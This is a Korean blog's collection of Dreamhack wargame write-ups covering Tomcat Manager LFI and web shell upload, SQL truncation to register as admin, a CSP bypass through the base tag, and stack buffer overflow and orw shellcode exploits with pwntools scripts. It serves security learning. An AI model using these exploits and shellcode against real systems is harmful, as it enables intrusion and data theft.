문제

간만에 재밌는 문제였다.

 

 

 

 

풀이

문제 이름 대로 tomcat manager 페이지에 접속 시도를 했지만 아이디와 비번이 필요했다.

 

 

 

문제 파일의 Docker 파일에서 manager 페이지의 계정 정보가 있는 파일의 절대 경로를 확인할 수 있었다.

 

 

메인페이지의 이미지를 로드하는 방식에서 LFI 취약점을 발견했다.

 

 

 

LFI 취약점으로 tomcat-users.xml 파일의 내용을 확인했다.

tomcat manager 페이지의 패스워드를 알아냈다.

 

 

 

이제 알아낸 계정으로 tomcat manager 페이지에 접속한다.

 

 

파일 업로드 기능을 이용해 웹쉘을 업로드한다.

 

 

웹쉘이 정상적으로 업로드된 걸 확인할 수 있다.

 

 

웹쉘로 flag 파일을 확인해보면 실행파일인 것을 알 수 있다.

 

 

'/flag'를 입력하면 flag 파일이 실행되어 flag가 출력된다.

 

 

 

 

'웹 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] [wargame.kr] tmitter 풀이  (0) 2024.10.29
[드림핵] CSP Bypass Advanced 풀이  (0) 2024.09.02

 

 

 

문제 

admin 아이디로 로그인하면 풀리는 문제인 것 같다.

id(32), ps(32) 에서 수상쩍은 냄새가 난다.

 

 

 

 

 

풀이

로그인 기능과 회원가입 기능이 있다.

 

 

 

회원가입에서 admin 계정을 생성해보려고 했지만, 중복 확인 기능이 구현되어 있어서 막혔다.

 

 

 

 

하지만 아까 문제 설명의 테이블 구조에서 id는 32 글자 이하로 정의되어 있는 것을 확인했다.

그러면 데이터가 테이블에 삽입될 때,  32글자에서 넘어가는 글자는 짤린다.  

'a' * 32 + 'a' → 'a' * 32

 

그래서 (( admin + 공백*27 + 아무 문자 ))로 입력하면, 중복 확인 기능을 우회하고 admin 아이디로 계정을 생성할 수 있다.

 

 

그 전에 개발자도구로 maxlength 옵션을 삭제해 줘야한다.

 

 

그리고 (( admin + 공백*27 + 아무 문자 ))로 회원가입을 해주면 계정이 생성된다.

 

 

생성한 admin 계정으로 로그인을 하면 flag를 확인할 수 있다.

 

 

 

'웹 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] Tomcat Manager 풀이  (0) 2024.10.29
[드림핵] CSP Bypass Advanced 풀이  (0) 2024.09.02

문제 파일

CSP 를 사용하여 XSS 공격을 방지하고 있지만, base-uri 정책이 없다.

#중략

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

#중략

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", param=param, nonce=nonce)
    
#중략

 

 

/vuln 페이지에서 응답으로 보내주는 html 코드는 아래와 같다.

Bootstrap을 사용해 간단한 고정 상단 네비게이션 바와 이미지를 포함한 웹 페이지를 구성하고 있다.

여기서 주목해야 할 부분은 /static/js/jquery.min.js, /static/js/bootstrap.min.js에서 자바스크립트 파일을 불러온다는 것이다.

<!doctype html>
<html>
  <head>
    <link rel="stylesheet" href="/static/css/bootstrap.min.css">
    <link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">
    <link rel="stylesheet" href="/static/css/non-responsive.css">
    <title>Index CSP-Bypass-Advanced</title>
    
  
  <style type="text/css">
    .important { color: #336699; }
  </style>

  </head>
<body>

    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">CSP-Bypass-Advanced</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
          </ul>

          <ul class="nav navbar-nav navbar-right">
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav>

    <div class="container">
      
  <img src=https://dreamhack.io/assets/img/logo.0a8aabe.svg>

    </div> <!-- /container -->

    <!-- Bootstrap core JavaScript -->
    <script src="/static/js/jquery.min.js" nonce=fd084e469385def08569d21601b06e28></script>
    <script src="/static/js/bootstrap.min.js" nonce=fd084e469385def08569d21601b06e28></script> 
</body>
</html>

 

 

 

풀이

base-uri 정책이 없으면  <base> 태그를 이용해 URL 기반의 공격을 할 수 있다.

<base> 태그는 HTML 문서의 상대 경로 기반 URL의 기준을 설정하는 데 사용되며, 모든 상대경로가 해당 URL을 기준으로 해석되고 원하는 경로로 연결된다.

 

 

/vuln 페이지에서 /static/js/jquery.min.js, /static/js/bootstrap.min.js  자바스크립트 파일을 불러오기 때문에 

  1. 내 서버에 /static/js/jquery.min.js 또는 /static/js/bootstrap.min.js 파일을 만들고
  2. <base> 태그로 내 서버를 기준 URL로 지정하면 악성 스크립트가 실행될 수 있게된다. 

 

 

먼저 서버를 만들어 준다. 나는 깃허브로 만들어 주었다.

참고 - https://dnight.tistory.com/entry/GitHubio-%ED%8E%98%EC%9D%B4%EC%A7%80-%EB%A7%8C%EB%93%A4%EA%B8%B0

 

 

1. 해당 서버에 /static/js 폴더를 만들고, jquery.min.js 파일을 생성한다.

 

 

2. 이제 /flag 페이지에 <base href='[내 서버]'> 를 입력하여 제출하면 flag를 얻을 수 있다.

/flag

 

/memo

'웹 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] Tomcat Manager 풀이  (0) 2024.10.29
[드림핵] [wargame.kr] tmitter 풀이  (0) 2024.10.29

이게 왜 001이지?ㅋㅋ

000을 푼 사람이라면 쉡게 풀 수 있다....

문제

환경 정보에서 32비트(i386) 리틀 엔디언 아키텍처에서 실행된다는 것을 확인한다.

32bit 환경이므로 스택 프레임 구조   buf(n) | sfp(4) | ret(4)  이렇게 유추할 수 있다.

그리고 000과 다르게 'NX enabled'이기 때문에, 쉘 코드로 풀 수는 없다.

 

 

 

문제 파일

gets()스택 버퍼 오버플로우 취약점이 존재하는 위험한 함수다.

코드 안에 read_flag() 함수가 있기 때문에 오버플로우로 ret을 해당 함수 주소로 오염시키면 될 것 같다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

 

 

풀이

gdb로 분석한다.

 스택 프레임 구조가   buf(n) | sfp(4) | ret(4) 으로 구성되고, ebp-0x80에서 0x80이 버퍼의 크기이므로

retutn address까지의 거리는 128(0x80) + 4 = 132바이트다.

 

 

위 내용으로 스택 프레임의 구조를 아래와 같이 표현할 수 있다.

 

 

따라서 페이로드는 다음과 같이 구성하면 된다.

 

 

read_flag 함수의 주소를 확인한다. 0x080485b9

 

 

 

exploit 코드를 작성한다.

from pwn import *

p = remote('host3.dreamhack.games',19353)

payload = b"\x90" * 132
payload += p32(0x080485b9)     #주소를 리틀 엔디안 방식으로 패킹

p.sendline(payload)
p.interactive()

 

 

 

exploit 파일을 실행시키면 read_flag 함수가 실행되어, flag가 출력된다.

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] basic_exploitation_000 풀이  (0) 2024.08.27
[드림핵] shell_basic 문제 풀이  (0) 2024.08.21

문제

환경 정보에서 32비트(i386) 리틀 엔디언 아키텍처에서 실행된다는 것을 확인한다.

32bit 환경이므로 스택 프레임 구조   buf(n) | sfp(4) | ret(4)  이렇게 유추할 수 있다.

 

 

 

문제 파일

buf는 128바이트(0x80)로 선언되었는데, scanf("%141s", buf)에서

buf에 128바이트를 초과한 141바이트까지 읽을 수 있도록 되어 있다. 

버퍼 오버플로우 취약점을 이용해 쉘을 얻어보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

 

 

풀이

먼저 우분투 환경에서 파일을 생성한다.

 

해당 파일을 컴파일한다.

 

실행해보면, buf의 주소가 출력된다. 하지만 이 값은 30초마다 변경된다.

 

gdb로 분석한다.

 스택 프레임 구조가   buf(n) | sfp(4) | ret(4) 으로 구성되고, ebp-0x80에서 0x80이 버퍼의 크기이므로

retutn address까지의 거리는 128(0x80) + 4 = 132바이트다.

 

 

위 내용을 통해 스택 프레임 구조를 알 수 있다.

 

따라서 페이로드는 다음과 같이 구성한다.

 

 

 

 

 

파이썬 pwntools 모듈로 exploit 코드를 작성한다.

from pwn import *

p = remote('host3.dreamhack.games',22834)
context.arch = "i386" 

p.recvuntil(b"buf = (") 
buf_addr = int(p.recv(10),16)

payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"\x90" * 106
payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

buf = (0x· · · · · · · ·)으로 출력되기 때문에, 'buf = ('을 없애고 buf 주소 10자리를 16진수로 받아서 저장한다.

그리고 26바이트  shellcode를 사용해야한다.

(기본 25바이트 코드를 사용했다가 한참 헤매었다. scanf 함수 때문에 꼭 26 바이트 쉘코드를 사용한다.)

132-26=106 만큼 의미없는 값을 채워주고 buf 주소를 넣는다.

 

 

 

exploit 파일을 실행하면 쉘을 얻을 수 있다.

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] basic_exploitation_001 풀이  (0) 2024.08.27
[드림핵] shell_basic 문제 풀이  (0) 2024.08.21

 

scanf 함수의 포맷 스트링 중 하나인 %s는 문자열을 입력받을 때 사용하는 것으로, 입력의 길이를 제한하지 않으며,

공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받는다.

 

이러한 특징으로 인해, 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우가 발생할 수 있다.

 

따라서 scanf에 %s포맷 스트링은 절대로 사용하지 말아야 하며, 정확히 n개의 문자만 입력받는 %[n]s의 형태로 사용해야 한다.

위험한 함수 안전한 함수
scanf, strcpystrcatsprintf strncpystrncatsnprintffgetsmemcpy

 

 

 

아래는 포멧 스트링 취약점이 존재하는 코드다.

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

 

컴파일한 후, 해당 파일을 실행한다.

"A"를 64개 입력하면 세그멘테이션 오류(잘못된 메모리 주소에 접근함) 에러가 출력된다.

(코어 덤프됨)은코어파일(core)을 생성했다는 것으로, 프로그램이 비정상 종료됐을 때, 디버깅을 돕기 위해 운영체제가 생성해주는 것이다.

 

 

gdb를 사용해서 코어 파일을 분석해보자.

 

main 함수에서 반환하려고 할때, 스택 최상단에 저장된 값이 0x4141414141414141('AAAAAAAA') 라는 것을 알 수 있다.

이는 실행가능한 메모리의 주소가 아니므로 세그멘테이션 오류가 발생한 것이다.

만약 원하는 코드 주소가 되도록 입력을 넣으면, main 함수에서 반환될 때, 원하는 코드가 실행되도록 조작할 수 있다.

 

 

gdb로 rao 파일을 분석해보자.

scanf()에 인자를 전달하는 부분을 보면, 오버플로우를 발생시킬 버퍼가 rbp-0x30에 위치하는 것을 알 수 있다.

scanf( "%s" , (rbp- 0x30 ))

 

 

스택 프레임의 구조는 다음과 같다.

rbp에 스택 프레임 포인터(SFP)가 저장되고, rbp+0x8에는 반환 주소가 저장된다.


입력할 버퍼와 반환 주소 사이에 0x38 만큼의 거리가 있으므로, 그 만큼을 쓰레기 값(dummy data)으로 채우고,

실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있다.

 

 

 

gdb로 get_shell() 함수의 주소를 확인한다.  → 0x4011dd 

 

그러면 다음과 같은 페이로드(공격을 위해 프로그램에 전달하는 데이터)를 구성할 수 있다.

페이로드와 페이로드로 오염되는 스택 프레임

 

 

 

익스플로잇을 작성할 때는 대상 시스템의 엔디언을 고려해야 한다. 

리틀 엔디언을 사용하는 인텔 x86-64아키텍처를 사용하고 있으므로 get_shell()의 주소 0x4011dd

\xdd\x11\x40\x00\x00\x00\x00\x00로 전달해야 한다.

 

 

파이썬으로 exploit 코드를 작성하고

from pwn import *

p = process('./rao')

payload = b"A"*0x30                               #buf
payload += b"B"*0x8                               #SFP
payload += b"\xdd\x11\x40\x00\x00\x00\x00\x00"    #return address

p.recvuntil('Input: ')

p.sendline(payload)
p.interactive()

 

 

exploit 파일을 실행시키면, 쉘을 얻게 된다.

 

 

 

 

 

참고 - 드림핵 ( System Hacking) https://dreamhack.io/lecture/roadmaps/all/system-hacking

 

목록 | 로드맵 | Dreamhack

Memory Corruption: Stack Buffer Overflow 9.7★ (234) Free

dreamhack.io

 

문제

 

문제 파일

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

stdin에서 shellcode를 읽고, 해당 코드를 실행한다는 것을 확인했다.

( stdin은 컴퓨터 프로그램이 외부로부터 입력을 받을 때 사용하는 기본 입력 스트림이다. 주로 키보드 입력을 통해 데이터를 받으며, 터미널이나 콘솔에서 사용자가 입력한 데이터를 프로그램으로 전달하는 역할을 수행한다.)

 

 

풀이

파일을 읽고 출력하는 orw 쉘 코드를 사용해보자.

 

다음은/home/shell_basic/flag_name_is_loooooong 파일을 읽고 출력하는 어셈블리 코드다.

section .text
global _start
_start:
push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax

mov rdi, rsp ; rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x2 ; rax = sys_open
syscall ; open("/home/shell_basic/flag_name_is_loooooong", NULL, NULL)

mov rdi, rax ; rdi = open("/home/shell_basic/flag_name_is_loooooong", NULL, NULL)
mov rsi, rsp
sub rsi, 0x30 ; rsi = buf
mov rdx, 0x30 ; rdx = 0x30
mov rax, 0x0 ; rax = sys_read
syscall ; read(fd, buf, 0x30)

mov rdi, 0x1 ; rdi = 0x1 (stdout)
mov rax, 0x1 ; rax = sys_write
syscall ; write(1, buf, 0x30)

orw_flag.asm

참고 - https://fight-hacker.tistory.com/1

 

[시스템] orw 셸코드 (Shellcode)

open, read, write  orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셀코드이다.   먼저 open, read, write syscall은 다음과 같다.syscallraxarg0 (rdi)arg1 (rsi)arg2 (rdx)read0x00unsigned int fdchar *bufsize_t countwrit

fight-hacker.tistory.com

 

 

 

어셈블리 코드는 CPU가 직접 실행할 수 있는 기계어로 변환되어야 하기 때문에, 서버는 위 코드를 바로 실행할 수 없다.

그래서 어셈블리 코드를 기계어로 변환하는 과정을 거쳐야 한다.

 

 

기계어 VS 바이트 코드

CPU는 기계어만을 직접 실행할 수 있다. 어셈블리어 코드는 어셈블러에 의해 기계어로 변환된 후 CPU에서 실행된다. 즉, CPU가 직접 이해하고 실행하는 코드는 기계어이다.

하지만, 많은 경우 바이트 코드라는 용어를 사용하면서 실제로는 CPU에서 직접 실행 가능한 기계어를 의미하는 경우가 있다. 예를 들어, 쉘코드에서의 바이트 코드는 일반적으로 어셈블리어를 기계어로 컴파일한 결과인 이진 데이터이며, 이는 메모리에 로드되면 CPU가 직접 실행할 수 있는 형태다.

 

 

 

nasm  어셈블러를 사용하여 orw_flag.asm 파일을 컴파일하고, ELF 형식의 목적 파일(orw_flag.o)을 생성한다.

objdump orw_flag.o 목적 파일의 내용을 디스어셈블리하여 어셈블리어 코드로 확인할 수 있다.

 

 

objcopy를 사용해서 바이너리 파일 (orw_flag.bin)을 만들고, 그 파일을 16진수로 확인한다.

 

 

위 xxd 출력 결과(16진수)에서 바이트 값들을 추출해서 다음과 같이 바이트 코드 형태의 쉘 코드를 만든다.

"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61"
"\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67"
"\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8"
"\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48"
"\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48"
"\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf"
"\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"

 

 

이제 바이트 코드가 준비되었으니, 해당 코드를 이용해 서버에 exploit을 시도해보자.

 

pwntools 모듈을 사용하여 서버에 데이터를 전송하는 파이썬 파일을 만든다.

from pwn import *

context.arch = "amd64"
p = remote("host3.dreamhack.games", 23515)

shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.sendlineafter('shellcode: ', shellcode)
print(p.recv())

exploit.py

 

 

해당 파이썬 파일을 실행하면 서버의 flag_name_is_loooooong 파일 내용이 출력된다!

 

 

 

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] basic_exploitation_001 풀이  (0) 2024.08.27
[드림핵] basic_exploitation_000 풀이  (0) 2024.08.27

+ Recent posts